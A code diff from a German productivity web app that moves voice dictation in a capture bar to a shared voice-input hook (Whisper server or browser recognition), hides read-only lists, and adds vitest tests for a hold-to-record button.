onPointerMove={handlePointerMove}
|
||||||
|
onPointerUp={handlePointerUp}
|
||||||
|
onPointerCancel={handlePointerCancel}
|
||||||
|
onContextMenu={(e) => e.preventDefault()}
|
||||||
|
// Taps, keyboard, screen readers and switch control all end in a click; after a hold it is ignored
|
||||||
|
onClick={() => {
|
||||||
|
if (suppressClickRef.current) {
|
||||||
|
suppressClickRef.current = false;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
onTap();
|
||||||
|
}}
|
||||||
|
className={
|
||||||
|
isRecording
|
||||||
|
? 'w-14 h-14 -mt-6 rounded-full bg-status-err text-on-accent shadow-lg flex items-center justify-center transition-transform border-4 border-panel cursor-pointer touch-none select-none animate-pulse'
|
||||||
|
: 'w-14 h-14 -mt-6 rounded-full bg-accent text-on-accent shadow-lg flex items-center justify-center active:scale-90 transition-transform border-4 border-panel cursor-pointer touch-none select-none'
|
||||||
|
}
|
||||||
|
title="Schnell erfassen (+)"
|
||||||
|
aria-label="Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen"
|
||||||
|
>
|
||||||
|
{isRecording ? (
|
||||||
|
<Mic className="w-7 h-7 stroke-[2.5]" />
|
||||||
|
) : (
|
||||||
|
<Plus className="w-7 h-7 stroke-[2.5]" />
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -1,8 +1,8 @@
|
|||||||
import React, { useEffect, useRef, useState } from 'react';
|
import React, { useEffect, useRef, useState, useMemo } from 'react';
|
||||||
import {
|
import {
|
||||||
Mic,
|
Mic,
|
||||||
MicOff,
|
MicOff,
|
||||||
ArrowUp,
|
ArrowDown,
|
||||||
Sparkles,
|
Sparkles,
|
||||||
Calendar,
|
Calendar,
|
||||||
Check,
|
Check,
|
||||||
@@ -13,9 +13,12 @@ import {
|
|||||||
ChevronDown,
|
ChevronDown,
|
||||||
AlertTriangle,
|
AlertTriangle,
|
||||||
Flame,
|
Flame,
|
||||||
|
Loader2,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { PriorityLevel, SharedList, Thought } from '../../lib/types';
|
import { PriorityLevel, SharedList, Thought } from '../../lib/types';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
|
import { useVoiceInput } from '../../lib/useVoiceInput';
|
||||||
|
import { VoiceWave } from '../../components/VoiceWave';
|
||||||
|
|
||||||
export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
|
export type CaptureTarget = 'inbox' | 'task' | 'list_item' | 'document';
|
||||||
|
|
||||||
@@ -38,23 +41,40 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
hideTargetPicker = false,
|
hideTargetPicker = false,
|
||||||
fixedTarget,
|
fixedTarget,
|
||||||
}) => {
|
}) => {
|
||||||
|
// Read-only shared lists cannot take new items; stable reference for the effect below
|
||||||
|
const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]);
|
||||||
const [content, setContent] = useState('');
|
const [content, setContent] = useState('');
|
||||||
const [priority, setPriority] = useState<PriorityLevel>('normal');
|
const [priority, setPriority] = useState<PriorityLevel>('normal');
|
||||||
const [dueDate, setDueDate] = useState('');
|
const [dueDate, setDueDate] = useState('');
|
||||||
const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
|
const [target, setTarget] = useState<CaptureTarget>(fixedTarget || 'inbox');
|
||||||
const [targetListId, setTargetListId] = useState<string>('');
|
const [targetListId, setTargetListId] = useState<string>('');
|
||||||
const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
|
const [showOptions, setShowOptions] = useState(defaultShowOptions || hideTargetPicker);
|
||||||
const [isListening, setIsListening] = useState(false);
|
const [voiceError, setVoiceError] = useState<string | null>(null);
|
||||||
const [isSubmitting, setIsSubmitting] = useState(false);
|
const [isSubmitting, setIsSubmitting] = useState(false);
|
||||||
const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
|
const [justSavedLabel, setJustSavedLabel] = useState<string | null>(null);
|
||||||
const [isMultiline, setIsMultiline] = useState(false);
|
const [isMultiline, setIsMultiline] = useState(false);
|
||||||
|
|
||||||
const inputRef = useRef<HTMLTextAreaElement>(null);
|
const inputRef = useRef<HTMLTextAreaElement>(null);
|
||||||
const containerRef = useRef<HTMLFormElement>(null);
|
const containerRef = useRef<HTMLFormElement>(null);
|
||||||
const recognitionRef = useRef<any>(null);
|
|
||||||
const baseVoiceTextRef = useRef('');
|
const baseVoiceTextRef = useRef('');
|
||||||
const hasVoiceInputRef = useRef(false);
|
const hasVoiceInputRef = useRef(false);
|
||||||
|
|
||||||
|
// Voice input: own Whisper server or the browser's recognition (lib/voice.ts)
|
||||||
|
const voice = useVoiceInput({
|
||||||
|
onText: (text, final) => {
|
||||||
|
const base = baseVoiceTextRef.current;
|
||||||
|
if (text) setContent(base ? `${base} ${text}` : text);
|
||||||
|
if (final) inputRef.current?.focus();
|
||||||
|
},
|
||||||
|
onError: (message) => {
|
||||||
|
setVoiceError(message);
|
||||||
|
window.setTimeout(() => setVoiceError(null), 4000);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
const isListening = voice.state === 'listening';
|
||||||
|
const isTranscribing = voice.state === 'transcribing';
|
||||||
|
const [isOverMaxHeight, setIsOverMaxHeight] = useState(false);
|
||||||
|
|
||||||
const adjustHeight = (el?: HTMLTextAreaElement | null) => {
|
const adjustHeight = (el?: HTMLTextAreaElement | null) => {
|
||||||
const targetEl = el || inputRef.current;
|
const targetEl = el || inputRef.current;
|
||||||
if (!targetEl) return;
|
if (!targetEl) return;
|
||||||
@@ -63,8 +83,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
const scrollH = targetEl.scrollHeight;
|
const scrollH = targetEl.scrollHeight;
|
||||||
targetEl.style.height = `${Math.min(scrollH, 140)}px`;
|
targetEl.style.height = `${Math.min(scrollH, 140)}px`;
|
||||||
setIsMultiline(targetEl.value.includes('\n') || scrollH > 28);
|
setIsMultiline(targetEl.value.includes('\n') || scrollH > 28);
|
||||||
|
setIsOverMaxHeight(scrollH > 140);
|
||||||
} else {
|
} else {
|
||||||
setIsMultiline(false);
|
setIsMultiline(false);
|
||||||
|
setIsOverMaxHeight(false);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -77,10 +99,10 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
}, [autoFocusTrigger]);
|
}, [autoFocusTrigger]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!targetListId && lists.length > 0) {
|
if (!targetListId && writableLists.length > 0) {
|
||||||
setTargetListId(lists[0].id);
|
setTargetListId(writableLists[0].id);
|
||||||
}
|
}
|
||||||
}, [lists, targetListId]);
|
}, [writableLists, targetListId]);
|
||||||
|
|
||||||
// Close dropdown on outside click
|
// Close dropdown on outside click
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -103,7 +125,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
el.tagName === 'TEXTAREA' ||
|
el.tagName === 'TEXTAREA' ||
|
||||||
el.isContentEditable;
|
el.isContentEditable;
|
||||||
|
|
||||||
if (!isEditing && (e.key === 'c' || e.key === 'C' || e.key === '/')) {
|
if (!isEditing && (e.key === 'c' || e.key === 'C')) {
|
||||||
e.preventDefault();
|
e.preventDefault();
|
||||||
inputRef.current?.focus();
|
inputRef.current?.focus();
|
||||||
} else if (e.key === 'Escape' && document.activeElement === inputRef.current) {
|
} else if (e.key === 'Escape' && document.activeElement === inputRef.current) {
|
||||||
@@ -118,57 +140,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
}, []);
|
}, []);
|
||||||
|
|
||||||
const toggleVoiceDictation = () => {
|
const toggleVoiceDictation = () => {
|
||||||
const SpeechRecognition =
|
if (voice.state === 'idle') {
|
||||||
(window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
|
|
||||||
|
|
||||||
if (!SpeechRecognition) {
|
|
||||||
alert('Spracheingabe wird von diesem Browser nicht direkt unterstützt (bitte Chrome, Edge oder Safari nutzen).');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isListening && recognitionRef.current) {
|
|
||||||
recognitionRef.current.stop();
|
|
||||||
setIsListening(false);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
|
baseVoiceTextRef.current = content.replace(/\s*\[…\]$/, '').trim();
|
||||||
hasVoiceInputRef.current = true;
|
hasVoiceInputRef.current = true;
|
||||||
|
setVoiceError(null);
|
||||||
const recognition = new SpeechRecognition();
|
|
||||||
recognition.lang = 'de-DE';
|
|
||||||
recognition.continuous = false;
|
|
||||||
recognition.interimResults = true;
|
|
||||||
|
|
||||||
recognition.onstart = () => {
|
|
||||||
setIsListening(true);
|
|
||||||
triggerHaptic(20);
|
triggerHaptic(20);
|
||||||
};
|
|
||||||
|
|
||||||
recognition.onresult = (event: any) => {
|
|
||||||
let transcript = '';
|
|
||||||
for (let i = 0; i < event.results.length; i++) {
|
|
||||||
transcript += event.results[i][0].transcript;
|
|
||||||
}
|
|
||||||
const base = baseVoiceTextRef.current;
|
|
||||||
setContent(base ? `${base} ${transcript}` : transcript);
|
|
||||||
};
|
|
||||||
|
|
||||||
recognition.onerror = () => {
|
|
||||||
setIsListening(false);
|
|
||||||
};
|
|
||||||
|
|
||||||
recognition.onend = () => {
|
|
||||||
setIsListening(false);
|
|
||||||
inputRef.current?.focus();
|
|
||||||
};
|
|
||||||
|
|
||||||
recognitionRef.current = recognition;
|
|
||||||
recognition.start();
|
|
||||||
} catch {
|
|
||||||
setIsListening(false);
|
|
||||||
}
|
}
|
||||||
|
voice.toggle();
|
||||||
};
|
};
|
||||||
|
|
||||||
const executeCapture = async (
|
const executeCapture = async (
|
||||||
@@ -180,11 +158,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
|
|
||||||
const effectiveTarget = fixedTarget || overrideTarget || target;
|
const effectiveTarget = fixedTarget || overrideTarget || target;
|
||||||
const effectiveListId =
|
const effectiveListId =
|
||||||
overrideListId || targetListId || (lists.length > 0 ? lists[0].id : '');
|
overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : '');
|
||||||
const capturedPriority = priority;
|
const capturedPriority = priority;
|
||||||
const capturedDueDate = dueDate;
|
const capturedDueDate = dueDate;
|
||||||
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
|
const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual';
|
||||||
hasVoiceInputRef.current = false;
|
hasVoiceInputRef.current = false;
|
||||||
|
// A recognition still running would refill the field after it was saved
|
||||||
|
if (voice.state !== 'idle') voice.cancel();
|
||||||
|
|
||||||
// Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
|
// Optimistically clear input immediately so the UI feels instant (<10ms) in all browsers
|
||||||
setContent('');
|
setContent('');
|
||||||
@@ -236,7 +216,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
await executeCapture();
|
await executeCapture();
|
||||||
};
|
};
|
||||||
|
|
||||||
const selectedList = lists.find((l) => l.id === targetListId) || lists[0];
|
const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0];
|
||||||
|
|
||||||
const getTargetLabel = () => {
|
const getTargetLabel = () => {
|
||||||
if (target === 'task') return 'Direkt-Aufgabe';
|
if (target === 'task') return 'Direkt-Aufgabe';
|
||||||
@@ -283,19 +263,25 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
}
|
}
|
||||||
}}
|
}}
|
||||||
placeholder={
|
placeholder={
|
||||||
isListening
|
voiceError
|
||||||
|
? voiceError
|
||||||
|
: isListening
|
||||||
? 'Ich höre zu…'
|
? 'Ich höre zu…'
|
||||||
|
: isTranscribing
|
||||||
|
? 'Wird erkannt…'
|
||||||
: hideTargetPicker || fixedTarget === 'inbox'
|
: hideTargetPicker || fixedTarget === 'inbox'
|
||||||
? 'Quick Dump erfassen… (Enter zum Speichern)'
|
? 'Quick Dump erfassen…'
|
||||||
: target === 'task'
|
: target === 'task'
|
||||||
? 'Neue Aufgabe direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)'
|
? 'Aufgabe erfassen…'
|
||||||
: target === 'list_item'
|
: target === 'list_item'
|
||||||
? `Eintrag direkt zu "${selectedList?.title || 'Liste'}" hinzufügen…`
|
? `Zu „${selectedList?.title || 'Liste'}“ hinzufügen…`
|
||||||
: target === 'document'
|
: target === 'document'
|
||||||
? 'Neue Workspace-Notiz direkt anlegen… (Enter / Shift+Enter für Mehrzeiler)'
|
? 'Notiz erfassen…'
|
||||||
: 'Quick Dump: Gedanke reinrotzen… (C / Enter, Shift+Enter für Mehrzeiler)'
|
: 'Quick Dump…'
|
||||||
}
|
}
|
||||||
className="w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 overflow-y-auto"
|
className={`w-full bg-transparent text-main placeholder-faint text-xs sm:text-sm focus:outline-none resize-none leading-5 py-0.5 ${
|
||||||
|
isOverMaxHeight ? 'overflow-y-auto' : 'overflow-hidden'
|
||||||
|
}`}
|
||||||
style={{ minHeight: '22px', maxHeight: '140px' }}
|
style={{ minHeight: '22px', maxHeight: '140px' }}
|
||||||
autoComplete="off"
|
autoComplete="off"
|
||||||
/>
|
/>
|
||||||
@@ -334,19 +320,33 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
</button>
|
</button>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Voice Dictation Button */}
|
{/* Voice Dictation Button (hidden when voice input is off or not supported) */}
|
||||||
|
{voice.available && (
|
||||||
|
<>
|
||||||
|
{isListening && voice.mode === 'server' && (
|
||||||
|
<VoiceWave getLevel={voice.level} className="h-3.5 text-accent" />
|
||||||
|
)}
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={toggleVoiceDictation}
|
onClick={toggleVoiceDictation}
|
||||||
title="Spracheingabe"
|
disabled={isTranscribing}
|
||||||
|
title={isListening ? 'Aufnahme beenden' : isTranscribing ? 'Wird erkannt…' : 'Spracheingabe'}
|
||||||
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
|
className={`w-6 h-6 capture-pill rounded-full flex items-center justify-center transition-colors ${
|
||||||
isListening
|
isListening || isTranscribing
|
||||||
? 'bg-accent-dim text-accent'
|
? 'bg-accent-dim text-accent'
|
||||||
: 'text-muted hover:text-main hover:bg-panel-elevated'
|
: 'text-muted hover:text-main hover:bg-panel-elevated'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
{isListening ? <MicOff className="w-3 h-3" /> : <Mic className="w-3 h-3" />}
|
{isTranscribing ? (
|
||||||
|
<Loader2 className="w-3 h-3 animate-spin" />
|
||||||
|
) : isListening ? (
|
||||||
|
<MicOff className="w-3 h-3" />
|
||||||
|
) : (
|
||||||
|
<Mic className="w-3 h-3" />
|
||||||
|
)}
|
||||||
</button>
|
</button>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
|
||||||
{/* Instant Send Button */}
|
{/* Instant Send Button */}
|
||||||
<button
|
<button
|
||||||
@@ -365,7 +365,7 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
</>
|
</>
|
||||||
) : (
|
) : (
|
||||||
<>
|
<>
|
||||||
<ArrowUp className="w-3 h-3" />
|
<ArrowDown className="w-3 h-3" />
|
||||||
<span className="inline">
|
<span className="inline">
|
||||||
{hideTargetPicker || (fixedTarget || target) === 'inbox'
|
{hideTargetPicker || (fixedTarget || target) === 'inbox'
|
||||||
? 'Quick Dump'
|
? 'Quick Dump'
|
||||||
@@ -449,8 +449,8 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
type="button"
|
type="button"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
setTarget('list_item');
|
setTarget('list_item');
|
||||||
if (!targetListId && lists.length > 0) {
|
if (!targetListId && writableLists.length > 0) {
|
||||||
setTargetListId(lists[0].id);
|
setTargetListId(writableLists[0].id);
|
||||||
}
|
}
|
||||||
}}
|
}}
|
||||||
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
|
className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${
|
||||||
@@ -485,13 +485,13 @@ export const InstantCaptureBar: React.FC<InstantCaptureBarProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Optional Sub-Row: Shared List Picker */}
|
{/* Optional Sub-Row: Shared List Picker */}
|
||||||
{lists.length > 0 && (
|
{writableLists.length > 0 && (
|
||||||
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
|
<div className="pt-2 border-t border-border flex flex-wrap items-center gap-1.5">
|
||||||
<span className="text-muted mr-1 flex items-center gap-1">
|
<span className="text-muted mr-1 flex items-center gap-1">
|
||||||
<ShoppingCart className="w-3 h-3 text-accent" />
|
<ShoppingCart className="w-3 h-3 text-accent" />
|
||||||
Liste:
|
Liste:
|
||||||
</span>
|
</span>
|
||||||
{lists.map((lst) => {
|
{writableLists.map((lst) => {
|
||||||
const isSelected = target === 'list_item' && targetListId === lst.id;
|
const isSelected = target === 'list_item' && targetListId === lst.id;
|
||||||
return (
|
return (
|
||||||
<button
|
<button
|
||||||
|
|||||||
@@ -0,0 +1,287 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
|
||||||
|
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||||
|
import { HoldToRecordFab } from '../HoldToRecordFab';
|
||||||
|
|
||||||
|
class FakeSpeechRecognition {
|
||||||
|
static instances: FakeSpeechRecognition[] = [];
|
||||||
|
|
||||||
|
lang = '';
|
||||||
|
interimResults = false;
|
||||||
|
continuous = false;
|
||||||
|
started = false;
|
||||||
|
stopped = false;
|
||||||
|
aborted = false;
|
||||||
|
|
||||||
|
onresult: ((event: any) => void) | null = null;
|
||||||
|
onerror: ((event: any) => void) | null = null;
|
||||||
|
onend: (() => void) | null = null;
|
||||||
|
|
||||||
|
constructor() {
|
||||||
|
FakeSpeechRecognition.instances.push(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
start() {
|
||||||
|
this.started = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
stop() {
|
||||||
|
this.stopped = true;
|
||||||
|
this.onend?.();
|
||||||
|
}
|
||||||
|
|
||||||
|
abort() {
|
||||||
|
this.aborted = true;
|
||||||
|
this.onend?.();
|
||||||
|
}
|
||||||
|
|
||||||
|
emitResult(transcript: string) {
|
||||||
|
this.onresult?.({
|
||||||
|
results: [[{ transcript }]],
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
emitError(error: string) {
|
||||||
|
this.onerror?.({ error });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('HoldToRecordFab', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.useFakeTimers();
|
||||||
|
FakeSpeechRecognition.instances = [];
|
||||||
|
(window as any).SpeechRecognition = FakeSpeechRecognition;
|
||||||
|
delete (window as any).webkitSpeechRecognition;
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
vi.useRealTimers();
|
||||||
|
delete (window as any).SpeechRecognition;
|
||||||
|
delete (window as any).webkitSpeechRecognition;
|
||||||
|
});
|
||||||
|
|
||||||
|
it('calls onTap on a short tap (< 350 ms)', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(150);
|
||||||
|
});
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(FakeSpeechRecognition.instances).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('starts recording on hold (>= 350 ms) and calls onTranscript with recognized text on release', async () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn().mockResolvedValue(undefined);
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(FakeSpeechRecognition.instances).toHaveLength(1);
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
expect(rec.started).toBe(true);
|
||||||
|
expect(rec.lang).toBe('de-DE');
|
||||||
|
expect(rec.interimResults).toBe(true);
|
||||||
|
expect(rec.continuous).toBe(true);
|
||||||
|
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
|
||||||
|
|
||||||
|
act(() => {
|
||||||
|
rec.emitResult('Milch und Kaffee einkaufen');
|
||||||
|
});
|
||||||
|
expect(screen.getByText('Milch und Kaffee einkaufen')).toBeTruthy();
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(rec.stopped).toBe(true);
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
expect(onTranscript).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).toHaveBeenCalledWith('Milch und Kaffee einkaufen');
|
||||||
|
expect(screen.getByRole('status').textContent).toContain('Im Quick Dump gespeichert');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('cancels recording when dragged up by more than 60 px and released', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
act(() => {
|
||||||
|
rec.emitResult('Verwerfen Test');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Drag up by 80px (> 60px threshold)
|
||||||
|
fireEvent.pointerMove(btn, { clientY: 520 });
|
||||||
|
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
|
||||||
|
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 520 });
|
||||||
|
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(rec.aborted).toBe(true);
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('resumes normal recording if dragged above 60 px and then pulled back down before release', async () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn().mockResolvedValue(undefined);
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
act(() => {
|
||||||
|
rec.emitResult('Doch behalten');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Drag up into cancel zone
|
||||||
|
fireEvent.pointerMove(btn, { clientY: 510 });
|
||||||
|
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
|
||||||
|
|
||||||
|
// Drag back down below threshold
|
||||||
|
fireEvent.pointerMove(btn, { clientY: 580 });
|
||||||
|
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 580 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(rec.aborted).toBe(false);
|
||||||
|
expect(onTranscript).toHaveBeenCalledWith('Doch behalten');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows "Nichts erkannt" and does not save when transcript is empty', async () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByRole('status').textContent).toContain('Nichts erkannt');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to onTap and shows message when microphone permission is denied', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
|
||||||
|
const rec = FakeSpeechRecognition.instances[0];
|
||||||
|
act(() => {
|
||||||
|
rec.emitError('not-allowed');
|
||||||
|
});
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByRole('status').textContent).toContain('Mikrofon nicht freigegeben');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to onTap and shows a status message when SpeechRecognition is unsupported', () => {
|
||||||
|
delete (window as any).SpeechRecognition;
|
||||||
|
delete (window as any).webkitSpeechRecognition;
|
||||||
|
|
||||||
|
const onTap = vi.fn();
|
||||||
|
const onTranscript = vi.fn();
|
||||||
|
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||||
|
const btn = screen.getByRole('button', {
|
||||||
|
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||||
|
});
|
||||||
|
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
act(() => {
|
||||||
|
vi.advanceTimersByTime(350);
|
||||||
|
});
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
fireEvent.click(btn);
|
||||||
|
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
expect(onTranscript).not.toHaveBeenCalled();
|
||||||
|
expect(screen.getByRole('status').textContent).toContain(
|
||||||
|
'Spracheingabe wird von diesem Browser nicht unterstützt'
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('HoldToRecordFab tap timing', () => {
|
||||||
|
it('opens only on the click after the release, so that click cannot close the new sheet', () => {
|
||||||
|
const onTap = vi.fn();
|
||||||
|
render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
|
||||||
|
const btn = screen.getByRole('button');
|
||||||
|
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||||
|
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||||
|
expect(onTap).not.toHaveBeenCalled();
|
||||||
|
fireEvent.click(btn);
|
||||||
|
expect(onTap).toHaveBeenCalledTimes(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
